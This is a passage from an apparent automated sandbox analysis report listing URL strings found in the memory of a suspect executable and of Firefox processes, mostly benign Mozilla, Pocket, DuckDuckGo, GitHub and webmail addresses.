Source: 5a0a40fcc4.exe, 00000009.00000003.3039741400.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3045821093.00000000059F6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 5a0a40fcc4.exe, 00000009.00000003.3039741400.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3045821093.00000000059F6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 5a0a40fcc4.exe, 00000009.00000003.3039741400.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3045821093.00000000059F6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000017.00000002.3153453999.000002A110BB0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000017.00000002.3142298865.000002A1104C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3144047725.000002A110665000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3132113988.000002A10C67D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000017.00000002.3142298865.000002A1104C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000017.00000002.3142298865.000002A1104C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000017.00000002.3142298865.000002A1104C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3144047725.000002A110665000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000017.00000002.3168604978.000002A111AC0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 00000017.00000002.3221388234.000002A11AC3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3136254233.000002A10DD68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116510955.0000014EE4512000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 00000017.00000003.3078945173.000002A11203B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3074087275.000002A112025000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Populating
Source: firefox.exe, 00000017.00000002.3142298865.000002A1104D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3227104900.00000E761DD04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000017.00000002.3221388234.000002A11AC3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3136254233.000002A10DD68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116510955.0000014EE4512000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3184195797.000002A1126AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116510955.0000014EE45C6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116510955.0000014EE45C6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3135318062.000002A10DABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116510955.0000014EE452F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116510955.0000014EE45C6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD68000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116510955.0000014EE45C6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD68000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD68000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000017.00000002.3143736520.000002A110503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/
Source: firefox.exe, 00000017.00000003.3066362859.000002A118744000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3215598843.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3046935792.000002A118744000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3048782464.000002A11873E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3076711790.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3071853510.000002A118739000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000017.00000002.3215598843.000002A118720000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3047163093.000002A118680000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3076711790.000002A118720000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000017.00000002.3215598843.000002A118720000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3047163093.000002A118680000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3076711790.000002A118720000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000017.00000003.3066362859.000002A118744000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3215598843.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3048782464.000002A11873E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3076711790.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3071853510.000002A118739000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000017.00000003.3066362859.000002A118744000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3215598843.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3048782464.000002A11873E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3076711790.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3071853510.000002A118739000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000017.00000003.3004382726.000002A110800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3153453999.000002A110BB0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.3004897407.000002A110260000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3004746392.000002A11023E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3004570268.000002A11021D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD91000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA25000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3233603994.00003FF954E04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com
Source: firefox.exe, 00000017.00000002.3216727039.000002A118861000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com/
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD68000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000017.00000002.3128253974.000002A100911000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881.browser
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3130073493.000002A10C0AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3119038459.00000147776C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116510955.0000014EE45E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3137971592.000002A10E6D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000017.00000002.3221388234.000002A11AC3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116510955.0000014EE45C0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD68000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 00000017.00000003.3066362859.000002A118744000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3215598843.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3048782464.000002A11873E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3076711790.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3071853510.000002A118739000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3161686085.000002A111262000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000017.00000002.3179199172.000002A1122EF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 00000017.00000002.3179199172.000002A1122EF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://json-schema.org/draft/2019-09/schemamixed-content-level-2-roll-out-release-1139e34c6e7-cbed-
Source: firefox.exe, 00000017.00000002.3179199172.000002A1122EF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 00000017.00000002.3179199172.000002A1122EF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 00000017.00000003.3066362859.000002A118744000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3215598843.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3048782464.000002A11873E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3076711790.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3071853510.000002A118739000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000017.00000003.3066362859.000002A118744000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3215598843.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3047163093.000002A118678000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3048782464.000002A11873E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3076711790.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3071853510.000002A118739000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000017.00000003.3066362859.000002A118744000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3215598843.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3048782464.000002A11873E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3076711790.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3071853510.000002A118739000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000017.00000002.3154818597.000002A110D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000017.00000002.3154818597.000002A110D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3146173837.000002A1108D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3130809061.000002A10C1E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000017.00000002.3232389340.000021C16A600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3207650570.000002A11417E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3228748763.000013329F904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000017.00000002.3232389340.000021C16A600000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.live.comZ
Source: firefox.exe, 00000017.00000002.3142298865.000002A1104C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3132579921.000002A10C9BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3144047725.000002A110665000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3143736520.000002A110521000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000017.00000002.3142298865.000002A1104C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3144047725.000002A110665000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3132113988.000002A10C67D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000017.00000002.3142298865.000002A1104C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
